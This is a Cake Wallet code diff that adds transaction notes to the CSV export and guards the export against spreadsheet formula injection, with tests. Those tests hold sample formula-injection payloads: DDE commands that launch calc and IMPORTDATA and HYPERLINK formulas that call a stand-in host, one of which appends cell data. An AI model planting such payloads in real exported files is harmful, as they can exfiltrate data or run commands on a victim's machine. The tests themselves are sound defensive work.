diff --git a/lib/core/csv_export_service.dart b/lib/core/csv_export_service.dart index 5dc0894b1..f366038db 100644 --- a/lib/core/csv_export_service.dart +++ b/lib/core/csv_export_service.dart @@ -1,5 +1,6 @@ import 'dart:io'; +import 'package:cake_wallet/entities/transaction_description.dart'; import 'package:cake_wallet/generated/i18n.dart'; import 'package:cake_wallet/src/screens/backup/backup_page.dart'; import 'package:cake_wallet/src/widgets/alert_with_two_actions.dart'; @@ -13,13 +14,19 @@ import 'package:cake_wallet/view_model/dashboard/order_list_item.dart'; import 'package:cake_wallet/view_model/dashboard/payjoin_transaction_list_item.dart'; import 'package:cake_wallet/view_model/dashboard/trade_list_item.dart'; import 'package:cake_wallet/view_model/dashboard/transaction_list_item.dart'; +import 'package:collection/collection.dart'; import 'package:cw_core/transaction_direction.dart'; import 'package:file_picker/file_picker.dart'; import 'package:flutter/material.dart'; +import 'package:hive/hive.dart'; import 'package:intl/intl.dart'; import 'package:path_provider/path_provider.dart'; class CsvExportService { + CsvExportService({required this.transactionDescriptionBox}); + + final Box transactionDescriptionBox; + static const _columns = [ 'record_type', 'date_time', @@ -42,23 +49,46 @@ class CsvExportService { static const _utf8Bom = ''; + static const _formulaTriggers = {'=', '+', '-', '@', '\t', '\r'}; + + static final _plainNumber = RegExp(r'^-?\d+(\.\d+)?$'); + String buildCsvContent(List items) { final buf = StringBuffer(); buf.write(_utf8Bom); buf.writeln(_columns.join(',')); + final primaryAddress = _primaryAddressOf(items); + for (final item in items) { if (item is DateSectionItem) continue; - final row = _buildRow(item); + final row = _buildRow(item, primaryAddress); if (row != null) buf.writeln(row); } return buf.toString(); } - String? _buildRow(ActionListItem item) { - if (item is TransactionListItem) return _transactionRow(item); + String _primaryAddressOf(List items) { + for (final item in items) { + if (item is TransactionListItem) { + return item.balanceViewModel.wallet.walletAddresses.primaryAddress; + } + } + return ''; + } + + String _noteFor(TransactionListItem item, String primaryAddress) { + final txHash = item.transaction.txHash; + final descriptionKey = '${txHash}_$primaryAddress'; + final description = transactionDescriptionBox.values + .firstWhereOrNull((val) => val.id == descriptionKey || val.id == txHash); + return description?.note ?? ''; + } + + String? _buildRow(ActionListItem item, String primaryAddress) { + if (item is TransactionListItem) return _transactionRow(item, primaryAddress); if (item is TradeListItem) return _tradeRow(item); if (item is OrderListItem) return _orderRow(item); if (item is AnonpayTransactionListItem) return _anonpayRow(item); @@ -66,7 +96,7 @@ class CsvExportService { return null; } - String _transactionRow(TransactionListItem item) { + String _transactionRow(TransactionListItem item, String primaryAddress) { final tx = item.transaction; final type = tx.direction == TransactionDirection.incoming ? 'incoming' : 'outgoing'; final status = tx.isPending ? 'pending' : 'confirmed'; @@ -88,7 +118,7 @@ class CsvExportService { tx.id, address, status, - '', + _noteFor(item, primaryAddress), '', '', '', @@ -200,10 +230,20 @@ class CsvExportService { String _row(List fields) => fields.map(escapeField).join(','); String escapeField(String field) { - if (field.contains(',') || field.contains('"') || field.contains('\n')) { - return '"${field.replaceAll('"', '""')}"'; + final value = _neutralizeFormula(field); + if (value.contains(',') || + value.contains('"') || + value.contains('\n') || + value.contains('\r')) { + return '"${value.replaceAll('"', '""')}"'; } - return field; + return value; + } + + String _neutralizeFormula(String field) { + if (field.isEmpty || !_formulaTriggers.contains(field[0])) return field; + if (_plainNumber.hasMatch(field)) return field; + return "'$field"; } String _isoDate(DateTime dt) => dt.toUtc().toIso8601String(); diff --git a/lib/di.dart b/lib/di.dart index b12d15572..3f6132421 100644 --- a/lib/di.dart +++ b/lib/di.dart @@ -22,6 +22,7 @@ import 'package:cake_wallet/cake_pay/src/services/cake_pay_api.dart'; import 'package:cake_wallet/cake_pay/src/services/cake_pay_service.dart'; import 'package:cake_wallet/core/auth_service.dart'; import 'package:cake_wallet/core/backup_service_v3.dart'; +import 'package:cake_wallet/core/csv_export_service.dart'; import 'package:cake_wallet/core/key_service.dart'; import 'package:cake_wallet/core/new_wallet_arguments.dart'; import 'package:cake_wallet/core/new_wallet_type_arguments.dart'; @@ -1415,6 +1416,9 @@ Future setup({ param1: derivations, ))); + getIt.registerFactory( + () => CsvExportService(transactionDescriptionBox: _transactionDescriptionBox)); + getIt.registerFactoryParam, void>((params, _) { final transactionInfo = params[0] as TransactionInfo; final canReplaceByFee = params[1] as bool? ?? false; diff --git a/lib/new-ui/widgets/coins_page/assets_history/history_modal.dart b/lib/new-ui/widgets/coins_page/assets_history/history_modal.dart index 11f2310c2..8a5382342 100644 --- a/lib/new-ui/widgets/coins_page/assets_history/history_modal.dart +++ b/lib/new-ui/widgets/coins_page/assets_history/history_modal.dart @@ -1,4 +1,5 @@ import 'package:cake_wallet/core/csv_export_service.dart'; +import 'package:cake_wallet/di.dart'; import 'package:cake_wallet/generated/i18n.dart'; import 'package:cake_wallet/new-ui/widgets/coins_page/assets_history/history_filters_page.dart'; import 'package:cake_wallet/new-ui/widgets/coins_page/assets_history/history_section.dart'; @@ -33,7 +34,7 @@ class HistoryModal extends StatelessWidget { ), trailingSemanticLabel: S.of(context).export_csv, onTrailingPressed: () => - CsvExportService().exportToCsv(dashboardViewModel.items, context), + getIt.get().exportToCsv(dashboardViewModel.items, context), ), Expanded( child: Stack( diff --git a/lib/src/screens/dashboard/pages/transactions_page.dart b/lib/src/screens/dashboard/pages/transactions_page.dart index 6af5f75b0..c699fb0f9 100644 --- a/lib/src/screens/dashboard/pages/transactions_page.dart +++ b/lib/src/screens/dashboard/pages/transactions_page.dart @@ -1,5 +1,6 @@ import 'package:cake_wallet/bitcoin/bitcoin.dart'; import 'package:cake_wallet/core/csv_export_service.dart'; +import 'package:cake_wallet/di.dart'; import 'package:cake_wallet/entities/balance_display_mode.dart'; import 'package:cake_wallet/order/order_source_description.dart'; import 'package:cake_wallet/src/screens/dashboard/widgets/anonpay_transaction_row.dart'; @@ -66,7 +67,8 @@ class TransactionsPage extends StatelessWidget { }), HeaderRow( dashboardViewModel: dashboardViewModel, - onExportCsv: () => CsvExportService().exportToCsv(dashboardViewModel.items, context), + onExportCsv: () => + getIt.get().exportToCsv(dashboardViewModel.items, context), key: ValueKey('transactions_page_header_row_key'), ), Expanded( diff --git a/test/core/csv_export_service_test.dart b/test/core/csv_export_service_test.dart new file mode 100644 index 000000000..e1351fa82 --- /dev/null +++ b/test/core/csv_export_service_test.dart @@ -0,0 +1,466 @@ +import 'package:cake_wallet/anonpay/anonpay_invoice_info.dart'; +import 'package:cake_wallet/core/csv_export_service.dart'; +import 'package:cake_wallet/entities/transaction_description.dart'; +import 'package:cake_wallet/store/app_store.dart'; +import 'package:cake_wallet/view_model/dashboard/anonpay_transaction_list_item.dart'; +import 'package:cake_wallet/view_model/dashboard/balance_view_model.dart'; +import 'package:cake_wallet/view_model/dashboard/date_section_item.dart'; +import 'package:cake_wallet/view_model/dashboard/payjoin_transaction_list_item.dart'; +import 'package:cake_wallet/view_model/dashboard/transaction_list_item.dart'; +import 'package:cw_core/amount/money.dart'; +import 'package:cw_core/balance.dart'; +import 'package:cw_core/crypto_currency.dart'; +import 'package:cw_core/payjoin_session.dart'; +import 'package:cw_core/transaction_direction.dart'; +import 'package:cw_core/transaction_history.dart'; +import 'package:cw_core/transaction_info.dart'; +import 'package:cw_core/wallet_addresses.dart'; +import 'package:cw_core/wallet_base.dart'; +import 'package:flutter/foundation.dart'; +import 'package:flutter_test/flutter_test.dart'; +import 'package:hive/hive.dart'; + +const kPrimaryAddress = 'primaryAddr'; + +class _Unstubbed { + @override + dynamic noSuchMethod(Invocation invocation) => + throw UnimplementedError('${invocation.memberName} is not stubbed in this fake'); +} + +class _FakeDescriptionBox extends _Unstubbed implements Box { + _FakeDescriptionBox(this._values); + + final List _values; + + @override + Iterable get values => _values; +} + +class _FakeWalletAddresses extends _Unstubbed implements WalletAddresses { + @override + String get primaryAddress => kPrimaryAddress; +} + +class _FakeWallet extends _Unstubbed + implements WalletBase, TransactionInfo> { + @override + WalletAddresses get walletAddresses => _FakeWalletAddresses(); +} + +class _FakeBalanceViewModel extends _Unstubbed implements BalanceViewModel { + @override + WalletBase, TransactionInfo> get wallet => + _FakeWallet(); +} + +class _FakeAppStore extends _Unstubbed implements AppStore {} + +class _FakeTransactionInfo extends TransactionInfo { + _FakeTransactionInfo({required String id}) { + this.id = id; + txHash = id; + amount = Money.fromInt(0, CryptoCurrency.btc); + direction = TransactionDirection.incoming; + isPending = false; + date = DateTime.utc(2024, 6, 15, 12); + from = 'senderAddress'; + } +} + +void main() { + late CsvExportService service; + + CsvExportService serviceWith(List descriptions) => + CsvExportService(transactionDescriptionBox: _FakeDescriptionBox(descriptions)); + + TransactionListItem txItem(String id) => TransactionListItem( + transaction: _FakeTransactionInfo(id: id), + balanceViewModel: _FakeBalanceViewModel(), + appStore: _FakeAppStore(), + key: ValueKey(id), + ); + + String noteColumnOf(String csv) => csv.trim().split('\n').last.split(',')[9]; + + setUp(() => service = serviceWith([])); + + // ── RFC 4180 escaping ────────────────────────────────────────────────────── + + group('escapeField', () { + test('plain field is returned unchanged', () { + expect(service.escapeField('hello'), 'hello'); + }); + + test('field with comma is double-quoted', () { + expect(service.escapeField('a,b'), '"a,b"'); + }); + + test('field with double-quote has internal quote escaped and is wrapped', () { + expect(service.escapeField('say "hi"'), '"say ""hi"""'); + }); + + test('field with newline is double-quoted', () { + expect(service.escapeField('line1\nline2'), '"line1\nline2"'); + }); + + test('empty string is returned unchanged', () { + expect(service.escapeField(''), ''); + }); + + test('field with a bare carriage return is double-quoted', () { + expect(service.escapeField('line1\rline2'), '"line1\rline2"'); + }); + }); + + // ── Spreadsheet formula injection ───────────────────────────────────── + + group('escapeField – formula injection', () { + test('field starting with = is prefixed with the text marker', () { + expect(service.escapeField('=1+1'), "'=1+1"); + }); + + test('field starting with + is prefixed with the text marker', () { + expect(service.escapeField('+1+1'), "'+1+1"); + }); + + test('field starting with @ is prefixed with the text marker', () { + expect(service.escapeField('@SUM(A1)'), "'@SUM(A1)"); + }); + + test('field starting with a tab is prefixed with the text marker', () { + expect(service.escapeField('\t=1+1'), "'\t=1+1"); + }); + + test('field starting with a carriage return is prefixed and quoted', () { + expect(service.escapeField('\r=1+1'), '"\'\r=1+1"'); + }); + + test('DDE payload starting with - is prefixed with the text marker', () { + expect(service.escapeField("-2+3+cmd|'/C calc'!A0"), "'-2+3+cmd|'/C calc'!A0"); + }); + + test('IMPORTDATA payload is neutralised and still RFC 4180 quoted', () { + expect( + service.escapeField('=IMPORTDATA("https://evil.tld")'), + '"\'=IMPORTDATA(""https://evil.tld"")"', + ); + }); + + test('negative integer is left untouched', () { + expect(service.escapeField('-12'), '-12'); + }); + + test('negative decimal is left untouched', () { + expect(service.escapeField('-0.00000001'), '-0.00000001'); + }); + + test('trigger character away from the start is left untouched', () { + expect(service.escapeField('total =1+1'), 'total =1+1'); + }); + + test('ISO date is left untouched', () { + expect(service.escapeField('2024-06-15T12:00:00.000Z'), '2024-06-15T12:00:00.000Z'); + }); + }); + + // ── Header row ───────────────────────────────────────────────────────────── + + group('buildCsvContent – header', () { + test('first line after BOM is the header row', () { + final csv = service.buildCsvContent([]); + final lines = csv.split('\n'); + // lines[0] is BOM + header (or BOM on its own if \n follows BOM) + final header = lines.firstWhere((l) => l.contains('record_type')); + expect(header, contains('record_type')); + expect(header, contains('date_time')); + expect(header, contains('tx_id')); + expect(header, contains('from_amount')); + expect(header, contains('to_amount')); + expect(header, contains('confirmations')); + }); + + test('header has exactly 17 columns', () { + final csv = service.buildCsvContent([]); + final headerLine = csv.split('\n').firstWhere((l) => l.contains('record_type')); + // Remove BOM if present at start + final clean = headerLine.replaceAll('', ''); + expect(clean.split(',').length, 17); + }); + }); + + // ── Empty list ───────────────────────────────────────────────────────────── + + group('buildCsvContent – empty list', () { + test('returns BOM + header only, no data rows', () { + final csv = service.buildCsvContent([]); + final lines = csv.trim().split('\n'); + expect(lines.length, 1); // header only + }); + }); + + // ── DateSectionItem skipped ──────────────────────────────────────────────── + + group('buildCsvContent – DateSectionItem', () { + test('DateSectionItem is excluded from output', () { + final section = DateSectionItem(DateTime.now(), key: const ValueKey('ds')); + final csv = service.buildCsvContent([section]); + final lines = csv.trim().split('\n'); + expect(lines.length, 1); // header only, section skipped + }); + }); + + // ── AnonpayTransactionListItem ───────────────────────────────────────────── + + group('buildCsvContent – anonpay row', () { + AnonpayInvoiceInfo makeAnonpay({ + String address = 'someAddress', + String status = 'paid', + double? fiatAmount, + String? fiatEquiv, + double? amountTo, + String coinTo = 'XMR', + }) { + return AnonpayInvoiceInfo( + invoiceId: 'inv-001', + clearnetUrl: '', + onionUrl: '', + clearnetStatusUrl: '', + onionStatusUrl: '', + status: status, + fiatAmount: fiatAmount, + fiatEquiv: fiatEquiv, + amountTo: amountTo, + coinTo: coinTo, + address: address, + createdAt: DateTime.utc(2024, 6, 15, 12, 0, 0), + walletId: 'wallet-1', + provider: 'Cake Pay', + ); + } + + test('produces a row with record_type=anonpay', () { + final item = AnonpayTransactionListItem( + transaction: makeAnonpay(), + key: const ValueKey('ap1'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + expect(dataLine, startsWith('anonpay,')); + }); + + test('uses fiatAmount when available', () { + final item = AnonpayTransactionListItem( + transaction: makeAnonpay(fiatAmount: 12.5, fiatEquiv: 'USD'), + key: const ValueKey('ap2'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + expect(dataLine, contains('12.5')); + expect(dataLine, contains('USD')); + }); + + test('falls back to amountTo/coinTo when no fiat amount', () { + final item = AnonpayTransactionListItem( + transaction: makeAnonpay(amountTo: 0.5, coinTo: 'XMR'), + key: const ValueKey('ap3'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + expect(dataLine, contains('0.5')); + expect(dataLine, contains('XMR')); + }); + + test('address with comma is RFC 4180 quoted', () { + final item = AnonpayTransactionListItem( + transaction: makeAnonpay(address: 'addr,part1,part2'), + key: const ValueKey('ap4'), + ); + final csv = service.buildCsvContent([item]); + expect(csv, contains('"addr,part1,part2"')); + }); + + test('address that starts with a formula trigger is neutralised in the row', () { + final item = AnonpayTransactionListItem( + transaction: makeAnonpay(address: '=HYPERLINK("https://evil.tld","receipt")'), + key: const ValueKey('ap5'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + expect(dataLine, contains('"\'=HYPERLINK')); + expect(dataLine, isNot(contains('"=HYPERLINK'))); + }); + }); + + // ── PayjoinTransactionListItem ───────────────────────────────────────────── + + group('buildCsvContent – payjoin row', () { + PayjoinSession makeSession({ + bool isSender = true, + String status = 'created', + String? txId, + String? rawAmount, + }) { + return PayjoinSession( + walletId: 'wallet-1', + sender: isSender ? 'senderAddr' : null, + receiver: isSender ? null : 'receiverAddr', + pjUri: isSender ? 'payjoin:uri' : null, + status: status, + inProgressSince: DateTime.utc(2024, 6, 15, 10, 0, 0), + rawAmount: rawAmount ?? '100000', + )..txId = txId; + } + + test('produces a row with record_type=payjoin', () { + final session = makeSession(); + final item = PayjoinTransactionListItem( + sessionId: 'pj-1', + session: session, + key: const ValueKey('pj1'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + expect(dataLine, startsWith('payjoin,')); + }); + + test('sender session has type=send', () { + final item = PayjoinTransactionListItem( + sessionId: 'pj-2', + session: makeSession(isSender: true), + key: const ValueKey('pj2'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + // type is the 3rd column (index 2) + expect(dataLine.split(',')[2], 'send'); + }); + + test('receiver session has type=receive', () { + final item = PayjoinTransactionListItem( + sessionId: 'pj-3', + session: makeSession(isSender: false), + key: const ValueKey('pj3'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + expect(dataLine.split(',')[2], 'receive'); + }); + + test('tx_id column populated when txId is set', () { + final item = PayjoinTransactionListItem( + sessionId: 'pj-4', + session: makeSession(txId: 'abc123'), + key: const ValueKey('pj4'), + ); + final csv = service.buildCsvContent([item]); + expect(csv, contains('abc123')); + }); + + test('currency column is BTC', () { + final item = PayjoinTransactionListItem( + sessionId: 'pj-5', + session: makeSession(), + key: const ValueKey('pj5'), + ); + final csv = service.buildCsvContent([item]); + final dataLine = csv.trim().split('\n').last; + // currency is 5th column (index 4) + expect(dataLine.split(',')[4], 'BTC'); + }); + }); + + // ── Mixed list ───────────────────────────────────────────────────────────── + + group('buildCsvContent – mixed list', () { + test('DateSectionItem mixed with data items produces correct row count', () { + final section = DateSectionItem(DateTime.now(), key: const ValueKey('ds2')); + final anonpay = AnonpayTransactionListItem( + transaction: AnonpayInvoiceInfo( + invoiceId: 'x', + clearnetUrl: '', + onionUrl: '', + clearnetStatusUrl: '', + onionStatusUrl: '', + status: 'paid', + coinTo: 'XMR', + address: 'addr1', + createdAt: DateTime.now(), + walletId: 'w1', + provider: 'Cake Pay', + ), + key: const ValueKey('ap-mix'), + ); + + final csv = service.buildCsvContent([section, anonpay]); + final lines = csv.trim().split('\n'); + // header + 1 data row only (section skipped) + expect(lines.length, 2); + expect(lines.last, startsWith('anonpay,')); + }); + }); + + // ── Trade row (field mapping, no AppStore needed for raw fields) ─────────── + + group('buildCsvContent – trade direct field coverage', () { + test('escapeField handles memo with double-quote in trade context', () { + // Simulates the memo field from a Trade that contains internal quotes + final memoWithQuotes = 'says "hello"'; + expect(service.escapeField(memoWithQuotes), '"says ""hello"""'); + }); + + test('escapeField neutralises a memo that opens with a formula', () { + expect(service.escapeField("=cmd|'/C calc'!A0"), "'=cmd|'/C calc'!A0"); + }); + }); + + // ── Transaction note column (CW-1638) ───────────────────────────────── + + group('buildCsvContent – transaction note', () { + test('note keyed by _ lands in the note column', () { + final csv = serviceWith([ + TransactionDescription(id: 'tx1_$kPrimaryAddress', transactionNote: 'dinner'), + ]).buildCsvContent([txItem('tx1')]); + + expect(noteColumnOf(csv), 'dinner'); + }); + + test('legacy note keyed by the bare txHash still resolves', () { + final csv = serviceWith([ + TransactionDescription(id: 'tx1', transactionNote: 'legacy note'), + ]).buildCsvContent([txItem('tx1')]); + + expect(noteColumnOf(csv), 'legacy note'); + }); + + test('transaction without a stored note leaves the note column empty', () { + final csv = serviceWith([]).buildCsvContent([txItem('tx1')]); + + expect(noteColumnOf(csv), ''); + }); + + test('note supplied by a payment request cannot inject a formula', () { + // tx_description / message of a scanned bitcoin: URI ends up here verbatim. + final csv = serviceWith([ + TransactionDescription( + id: 'tx1_$kPrimaryAddress', + transactionNote: '=IMPORTDATA("https://evil.tld/?d="&A2)', + ), + ]).buildCsvContent([txItem('tx1')]); + + final dataLine = csv.trim().split('\n').last; + expect(dataLine, contains('"\'=IMPORTDATA')); + expect(dataLine, isNot(contains('"=IMPORTDATA'))); + }); + + test('note starting with a hyphen is neutralised without mangling amounts', () { + final csv = serviceWith([ + TransactionDescription(id: 'tx1_$kPrimaryAddress', transactionNote: '-2+3+cmd|x'), + ]).buildCsvContent([txItem('tx1')]); + + final columns = csv.trim().split('\n').last.split(','); + expect(columns[9], "'-2+3+cmd|x"); + expect(columns[3], '0'); + }); + }); +}